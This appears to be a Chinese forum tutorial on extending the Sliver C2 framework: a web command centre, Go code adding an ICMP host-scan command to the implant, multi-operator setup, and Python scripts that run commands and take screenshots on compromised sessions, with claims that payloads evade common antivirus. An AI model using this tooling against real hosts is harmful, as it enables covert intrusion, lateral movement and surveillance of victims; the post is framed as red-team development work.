找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2481

积分

0

好友

344

主题
发表于 3 天前 | 查看: 10| 回复: 0

Sliver与Cobalt Strike对比

相比 Cobalt Strike,Sliver 在二次开发方面更具优势,这主要得益于其完全开源的架构设计。此外,Sliver 的免杀能力也更为突出,它内置了多种机制来绕过安全软件的检测,并且在 Linux 平台上的支持更加友好。官方提供的简洁接口和 RPC 调用,也极大地方便了用户进行深度开发和系统集成。默认生成的原生 Sliver 载荷,能够有效绕过国内常见的杀软,如 360、火绒等。

开发进度

当前项目仍处于持续的开发和完善阶段。现阶段大部分接口逻辑由 AI 辅助生成,部分接口在稳定性和完整性方面可能存在不足,个别功能或许存在缺陷或尚未完全实现,后续将逐步进行优化和修复。

Sliver Web 开发

目前,针对 Sliver 的图形化界面方案在国内外都相对匮乏。基于 Vue3、FastAPI 和 sliver-py 库,并在 AI 的辅助下,我们开发了一套功能较为完整的 Sliver Web 化指挥中心。

大部分核心功能已经实现,但载荷生成功能由于所依赖的 sliver-py 库版本较旧,生成载荷时存在问题,目前仍在解决中。

下面展示部分功能界面:

1. 指挥中心仪表板

百眼巨人指挥中心仪表板界面

2. 载荷生成与配置

百眼巨人载荷生成与配置界面

3. 网络拓扑可视化

百眼巨人网络拓扑可视化界面

4. 屏幕监控

百眼巨人屏幕监控功能界面

5. 代理转发

百眼巨人内网穿透与转发设置界面

6. 终端交互

百眼巨人终端交互与命令执行界面

7. 多人协作指挥中心

百眼巨人多人协作指挥中心界面

8. 战利品库

百眼巨人战利品库管理界面

9. 主机详情概览

百眼巨人主机详情概览界面

10. 环境变量管理

百眼巨人环境变量管理界面

11. 监听器管理

百眼巨人监听器管理界面

12. 横向移动向导

百眼巨人横向移动向导界面

13. 任务管理

百眼巨人任务管理历史界面

14. 会话管理

百眼巨人会话管理界面

源码二次开发

Sliver 源码体量较大,排除第三方库后的 Go 文件也有数千个。不过,我们进行定制开发通常只需要修改特定的模块即可,但想要完全理解整个代码逻辑确实有一定难度。

这里我们通过一个简单的例子,演示如何为 Sliver 添加一个内网主机存活探测(ICMP扫描)的功能。

环境准备(避坑指南)

如果修改的源码涉及到 .proto 文件,则必须重新生成对应的 .pb.go 文件。

Protobuf 编译器的版本必须严格匹配,否则在运行时可能出现错误。推荐版本如下:

  • Protoc libprotoc v26.1 或更高版本
  • Protoc-gen-go v1.27.1
  • Protoc-gen-go-grpc v1.2.0

版本不匹配可能会导致如下错误:

Sliver编译时protobuf版本不匹配导致的panic错误

在 Kali 等系统上,可以直接运行以下命令安装指定版本:

go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.27.1
go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.2.0
export PATH="$HOME/go/bin:$PATH"

在 Sliver 中,Client、Server 与 Implant 之间的所有通信都基于 Protobuf 定义。因此,新增功能的第一步就是扩展 RPC 协议。

定义 Protobuf

首先,了解相关的目录结构:

目录 / 文件 作用简介
protobuf/ Sliver 各组件(client / server / implant)之间的 通信协议定义层
protobufs.go 注册所有 proto 描述符,用于运行时反射和版本管理
clientpb/ 客户端与服务端的请求/响应消息定义
commonpb/ 各模块共享的通用 protobuf 消息结构
dnspb/ DNS C2 通信使用的 protobuf 消息定义
rpcpb/ gRPC 服务接口与 Stub(API 核心)
sliverpb/ Server 与 Implant 间的控制协议(任务、状态、遥测)

我们需要先定义数据传输的格式。

  1. 修改 sliver/protobuf/rpcpb/services.proto,在 RPC 服务定义中增加 ICMPScan 方法:

    rpc ICMPScan(sliverpb.ICMPScanReq) returns (sliverpb.ICMPScanResp);
  2. 修改 sliver/protobuf/sliverpb/sliver.proto,定义请求和响应的结构体:

    message ICMPScanReq {
      string Range = 1;
      uint32 Timeout = 2;
      int32 Concurrency = 3;
    
      commonpb.Request Request = 10;
    }
    
    message ICMPScanResp {
      repeated string AliveHosts = 1;
      commonpb.Response Response = 2;
    }

在proto文件中添加ICMP扫描消息定义

  1. 编译 Protobuf:
    make pb

执行make pb命令编译protobuf文件

服务端(Server)二次开发

服务端的主要目录结构如下:

目录 / 文件 作用简介
main.go Server 入口,解析参数并启动守护进程
rpc/ gRPC 服务实现与注册

我们关注的是 rpc 目录。添加文件 server/rpc/rpc-icmp-scan.go

ICMPScan 方法主要用于响应客户端发起的 ICMP 扫描请求,它通过调用通用的处理器来执行实际的扫描操作,并返回扫描结果。

package rpc

import (
    "context"
    "github.com/bishopfox/sliver/protobuf/commonpb"
    "github.com/bishopfox/sliver/protobuf/sliverpb"
)

func (rpc *Server) ICMPScan(ctx context.Context, req *sliverpb.ICMPScanReq) (*sliverpb.ICMPScanResp, error) {
    resp := &sliverpb.ICMPScanResp{Response: &commonpb.Response{}}
    err := rpc.GenericHandler(req, resp)
    if err != nil {
        return nil, err
    }
    return resp, nil
}

服务端RPC方法ICMPScan实现代码

客户端(Client)命令集成二次开发

client/command/ 目录下的文件通常遵循以下格式:

  • commands.go – 注册信息导向型命令并将其绑定到控制台。
  • info.go – 查询详细的会话或信标元数据,并打印丰富的状态表。
  • 实际的功能文件.go – 包含具体功能的实现逻辑。

因此,我们需要在 client/command/ 下创建一个名为 icmpscan 的文件夹,并在其中创建两个文件。

  1. 创建 client/command/icmpscan/commands.go,用于定义命令:

    package icmpscan
    
    import (
        "github.com/bishopfox/sliver/client/console"
        "github.com/spf13/cobra"
    )
    
    func Commands(con *console.SliverClient) []*cobra.Command {
        icmpScanCmd := &cobra.Command{
            Use:   "hostscan", // 命令名称
            Short: "内网主机存活探测 (ICMP)",
            Long:  "通过指定 IP 范围进行 ICMP 存活探测。",
            Run: func(cmd *cobra.Command, args []string) {
                // 在这里调用你实际的执行逻辑
                IcmpScanExecute(cmd, con)
            },
        }
    
        // 在这里绑定参数(Flags)
        icmpScanCmd.Flags().StringP("range", "r", "", "目标 IP 范围 (CIDR)")
        icmpScanCmd.Flags().Int32P("timeout", "t", 5, "超时时间(秒)")
    
        return []*cobra.Command{icmpScanCmd}
    }
  2. 创建 client/command/icmpscan/icmpscan.go,实现命令逻辑:

    package icmpscan
    
    import (
        "context"
        "github.com/bishopfox/sliver/client/console"
        "github.com/bishopfox/sliver/protobuf/sliverpb"
        "github.com/spf13/cobra"
    )
    
    func IcmpScanExecute(cmd *cobra.Command, con *console.SliverClient) {
    
        session := con.ActiveTarget.GetSessionInteractive()
        if session == nil {
            return
        }
    
        targetRange, _ := cmd.Flags().GetString("range")
        timeout, _ := cmd.Flags().GetInt32("timeout")
    
        if targetRange == "" {
            con.PrintErrorf("错误: 请通过 -r 指定扫描范围 (例如: 192.168.1.0/24)\n")
            return
        }
    
        req := &sliverpb.ICMPScanReq{
            Range:   targetRange,
            Timeout: uint32(timeout),
            Request: con.ActiveTarget.Request(cmd),
        }
    
        con.PrintInfof("正在通过 Session %d (%s) 发起主机存活探测: %s ...\n",
            session.ID, session.Name, targetRange)
    
        resp, err := con.Rpc.ICMPScan(context.Background(), req)
    
        if err != nil {
            con.PrintErrorf("扫描请求失败: %v\n", err)
            return
        }
    
        if len(resp.AliveHosts) == 0 {
            con.PrintWarnf("探测完成,未发现存活主机。\n")
        } else {
            con.PrintSuccessf("探测完成,共发现 %d 个存活主机:\n", len(resp.AliveHosts))
            for _, host := range resp.AliveHosts {
                con.Printf("  [+] %s\n", host)
            }
        }
    }

客户端ICMP扫描命令实现代码

  1. 将新命令注册到系统中。修改 client/command/sliver.go 文件,在相应的命令组绑定处添加 icmpscan.Commands
    // [ Execution ]
    bind(consts.ExecutionHelpGroup, shell.Commands, exec.Commands, backdoor.Commands, dllhijack.Commands, cursed.Commands, wasm.Commands, icmpscan.Commands, )

在sliver.go中注册新的icmpscan命令

至此,客户端和服务端的代码修改就完成了,接下来可以编译运行。

make

使用make命令编译Sliver项目

植入体(Implant)二次开发

现在需要让植入体(即被控端)能够理解并执行我们新定义的 ICMPScan 指令。

  1. sliver/protobuf/sliverpb/constants.go 中添加消息类型常量:
    // ===== ICMP Scan =====
    MsgICMPScan

在constants.go中添加MsgICMPScan常量

  1. 在同一个文件的 GetMessageType 函数中添加对应的 case 分支:
    case *ICMPScanReq:
        return MsgICMPScan

在GetMessageType函数中添加ICMPScanReq的分支

  1. 实现扫描逻辑。在 implant/sliver/ 目录下创建 hostscan 文件夹,并创建 hostscan.go 文件:

    package hostscan
    
    import (
        "context"
        "net"
        "os/exec"
        "runtime"
        "strings"
        "sync"
        "time"
    )
    
    func PerformIcmpScan(target string, timeoutSec int32) []string {
        ips := parseTarget(target)
        if len(ips) == 0 {
            return nil
        }
    
        var aliveHosts []string
        var mu sync.Mutex
        var wg sync.WaitGroup
    
        // 并发控制:由于启动进程开销较大,建议并发数不要设得太高(30-50 比较合适)
        sem := make(chan struct{}, 50)
        timeout := time.Duration(timeoutSec) * time.Second
    
        for _, ip := range ips {
            wg.Add(1)
            sem <- struct{}{}
            go func(targetIP string) {
                defer wg.Done()
                defer func() { <-sem }()
    
                if systemPing(targetIP, timeout) {
                    mu.Lock()
                    aliveHosts = append(aliveHosts, targetIP)
                    mu.Unlock()
                }
            }(ip)
        }
    
        wg.Wait()
        return aliveHosts
    }
    
    func systemPing(ip string, timeout time.Duration) bool {
        ctx, cancel := context.WithTimeout(context.Background(), timeout)
        defer cancel()
    
        var cmd *exec.Cmd
        if runtime.GOOS == "windows" {
            cmd = exec.CommandContext(ctx, "ping", "-n", "1", "-w", "1000", ip)
        } else {
            cmd = exec.CommandContext(ctx, "ping", "-c", "1", "-W", "1", ip)
        }
    
        err := cmd.Run()
        return err == nil
    }
    
    func parseTarget(target string) []string {
        var ips []string
        if !strings.Contains(target, "/") {
            if net.ParseIP(target) != nil {
                return []string{target}
            }
            return nil
        }
        ip, ipnet, err := net.ParseCIDR(target)
        if err != nil {
            return nil
        }
        for ip := ip.Mask(ipnet.Mask); ipnet.Contains(ip); inc(ip) {
            ips = append(ips, ip.String())
        }
        if len(ips) > 2 {
            return ips[1 : len(ips)-1]
        }
        return ips
    }
    
    func inc(ip net.IP) {
        for j := len(ip) - 1; j >= 0; j-- {
            ip[j]++
            if ip[j] > 0 {
                break
            }
        }
    }

植入体端ICMP扫描功能实现代码

  1. 注册消息处理器。implant/sliver/handlers/ 目录下的文件负责处理不同类型的消息。我们需要在 handlers.go (或平台特定的文件如 handlers_linux.go) 中添加一个处理器函数,并将消息类型与处理器绑定。
    以下函数逻辑可添加到 handlers_linux.go 中(本次测试环境为 Linux。实际生产环境中,建议将通用逻辑放在 rpc-handlers.go 中以实现跨平台支持):

    func hostScanHandler(data []byte, resp RPCResponse) {
        req := &sliverpb.ICMPScanReq{} // 根据你 proto 的定义
        if err := proto.Unmarshal(data, req); err != nil {
            resp(nil, err)
            return
        }
        if req.Range == "" {
            resp(nil, nil)
            return
        }
        aliveHosts := hostscan.PerformIcmpScan(req.Range, int32(req.Timeout))
        icmpResp := &sliverpb.ICMPScanResp{
            AliveHosts: aliveHosts,
        }
        out, err := proto.Marshal(&icmpResp)
        if err != nil {
            resp(nil, err)
            return
        }
        resp(out, nil)
    }
  2. handlers.gogetHandlersMap 函数中(或类似的消息映射处)注册该处理器:

    sliverpb.MsgICMPScan: hostScanHandler,

在handlers.go中注册hostScanHandler处理器

  1. 重新编译整个项目并运行 Server:
    make
    ./silver-server

重新编译后运行Sliver服务端

  1. 测试新添加的 hostscan 命令:
    sliver (SUDDEN_AUTHORIZATION) > hostscan -r 10.28.217.0/24
    [+] 正在通过 session %d(string=a0833fed7-b084-4b7b-9b44-194111d687203) (SUDDEN_AUTHORIZATION) 发起主机存活探测:10.28.217.0/24 ...
    Response:
    [+] 探测完成,共发现 2 个存活主机:
    [+] 10.28.217.158
    [+] 10.28.217.247

成功使用新增的hostscan命令进行ICMP扫描

Sliver 多人协同机制

多人模式允许多个操作员(Operator)连接到同一个 Sliver Server,从而实现团队协作。

典型场景如下:

  • Sliver Server 运行在一台 VPS 上。
  • 多名红队成员在各自的电脑上操作。
  • 每个人使用一个独立的 operator 配置文件进行连接。

其架构可简化为:

                    ┌──────────────────┐  C2
                    │                  │  Protocol    ┌─────────┐
                    │ Sliver C2 Server ├─────────────►│ Implant │
                    │                  │              └─────────┘
                    └──────────────────┘
                              ▲
                              │
             gRPC/mTLS        │
      ┌────────────┬────────┴─────┬───────────┐
      │            │              │           │
┌─────┴──┐         │              │        ┌──┴─────┐
│Windows │    ┌────┴───┐     ┌────┴───┐    │Windows │
│Operator│    │Linux   │     │MacOS   │    │Operator│
└────────┘    │Operator│     │Operator│    └────────┘
              └────────┘     └────────┘

启动 Server 并生成配置文件

  1. 启动 Server(以 Linux 为例):

    ./sliver-server_linux-amd64
  2. 在 Server 控制台中,为新的操作员生成配置文件:

    sliver > new-operator --name admin1 --lhost 127.0.0.1 --permissions all
    
  3. Generating new client certificate, please wait ...
  4. Saved new client config to: /home/zss/.storage/sliver/admin1_127.0.0.1.cfg

生成新的操作员配置文件

参数 含义
--name 操作员名称
--lhost Sliver Server 地址(IP / 域名)
--permissions all 允许访问所有 gRPC API(最高权限)
  1. 在 Server 控制台启动多人协作模式:
    sliver > multiplayer
    
  2. Multiplayer mode enabled!

在Sliver服务端启用多人协作模式

客户端连接

其他团队成员在其机器上,使用生成的配置文件连接 Server:

./sliver-client_linux-amd64 import /home/zss/.storage/sliver/admin1_127.0.0.1.cfg
./sliver-client_linux-amd64

Sliver RPC 调用

Sliver 官方提供了 Python 客户端库 sliver-py,允许开发者直接通过 gRPC 调用 Sliver Server 的 API,从而实现自动化或与其他系统集成。

安装库:

pip install sliver-py

在调用前,需要确保 Server 端已开启 RPC(即多人模式)并生成了操作员配置文件:

sliver > new-operator --name admin1 --lhost 127.0.0.1 --permissions all
sliver > multiplayer

简单调用演示:获取会话与信标

以下代码演示了如何连接 Server 并获取当前的会话和异步信标列表。

#!/usr/bin/env python3

import os
import asyncio
from sliver import SliverClientConfig, SliverClient

# 默认 Sliver 客户端配置目录
CONFIG_DIR = os.path.join(os.path.expanduser("~"), ".sliver-client", "configs")
DEFAULT_CONFIG = os.path.join(CONFIG_DIR, "/home/zss/.storage/sliver/admin1_127.0.0.1.cfg")

async def main():
    config = SliverClientConfig.parse_config_file(DEFAULT_CONFIG)
    client = SliverClient(config)
    await client.connect()
    print('已连接到 Sliver 服务端...')

    # 1. 获取实时 Sessions
    sessions = await client.sessions()
    print(f'实时会话:{len(sessions)} 个')
    for s in sessions:
        print(s)

    beacons = await client.beacons()
    print(f'异步信标(Beacons):{len(beacons)} 个')
    for b in beacons:
        print(b)

if __name__ == '__main__':
    asyncio.run(main())

Python调用Sliver RPC获取会话和信标信息

RPC 调用实现远程命令执行

通过 RPC 可以与活跃会话进行交互,执行命令。

#!/usr/bin/env python3

import os
import asyncio
from sliver import SliverClientConfig, SliverClient

# 默认 Sliver 客户端配置目录
CONFIG_DIR = os.path.join(os.path.expanduser("~"), ".sliver-client", "configs")
DEFAULT_CONFIG = os.path.join(CONFIG_DIR, "/home/zss/.storage/sliver/admin1_127.0.0.1.cfg")

async def main():
    config = SliverClientConfig.parse_config_file(DEFAULT_CONFIG)
    client = SliverClient(config)
    await client.connect()
    print('已连接到 Sliver 服务端...')

    # 1. 获取实时 Sessions
    sessions = await client.sessions()

    print(f'实时会话:{len(sessions)} 个')
    run = await client.interact_session(sessions[0].ID)
    print(await client.interact_session(sessions[0].ID))
    print(f'执行ls命令')
    print(await run.ls())

if __name__ == '__main__':
    asyncio.run(main())

RPC 调用实现屏幕截图

通过 RPC 调用 screenshot 指令,并将返回的二进制数据保存为图片文件。

#!/usr/bin/env python3

import os
import asyncio
from sliver import SliverClientConfig, SliverClient

DEFAULT_CONFIG = "/home/zss/.storage/sliver/admin1_127.0.0.1.cfg"

async def main():
    config = SliverClientConfig.parse_config_file(DEFAULT_CONFIG)
    client = SliverClient(config)
    await client.connect()
    print('
  • 已连接到 Sliver 服务端...')     # 1. 获取实时会话     sessions = await client.sessions()     print(f'当前实时会话:{len(sessions)} 个')     # 2. 获取交互对象     session = sessions[0]     run = await client.interact_session(session.ID)     print(f'目标主机:{session.Hostname},准备执行截图...')     # 3. 执行截图并处理返回数据     screenshot_data = await run.screenshot()     # 4. 将二进制数据写入文件     if screenshot_data:         filename = f"screenshot_{session.ID[:8]}.png"         with open(filename, "wb") as f:             if hasattr(screenshot_data, 'Data'):                 f.write(screenshot_data.Data)             else:                 f.write(screenshot_data)         print(f'截图已保存为:{os.path.abspath(filename)}')     else:         print("截图失败:未获取到数据。") if __name__ == '__main__':     asyncio.run(main())
  • Python调用RPC实现屏幕截图并保存

    免责声明

    本工具及文章内容仅限于合法的安全研究、安全审计及教育目的。用户在实施任何相关行为时,应严格遵守所在地法律法规。开发者不对因滥用本工具而产生的任何直接或间接法律责任承担任何责任。

    对 Sliver 这类开源 C2 框架进行深度定制和 Web 化改造,涉及大量的 Go 语言底层编程和 前端框架 集成工作,是提升红队基础设施自动化与协作效率的重要实践。本文展示的二次开发流程,也适用于其他需要深度定制安全工具的场景。如果你想了解更多实战技巧或参与讨论,欢迎在 云栈社区 的技术板块交流。




    上一篇:开源Android代码编辑器Xed-Editor:移动端开发与文本编辑利器
    下一篇:深入理解代理、节点、TUN与Clash模式:告别网络配置玄学
    您需要登录后才可以回帖 登录 | 立即注册

    手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

    GMT+8, 2026-1-24 02:48 , Processed in 0.406352 second(s), 41 queries , Gzip On.

    Powered by Discuz! X3.5

    © 2025-2026 云栈社区.

    快速回复 返回顶部 返回列表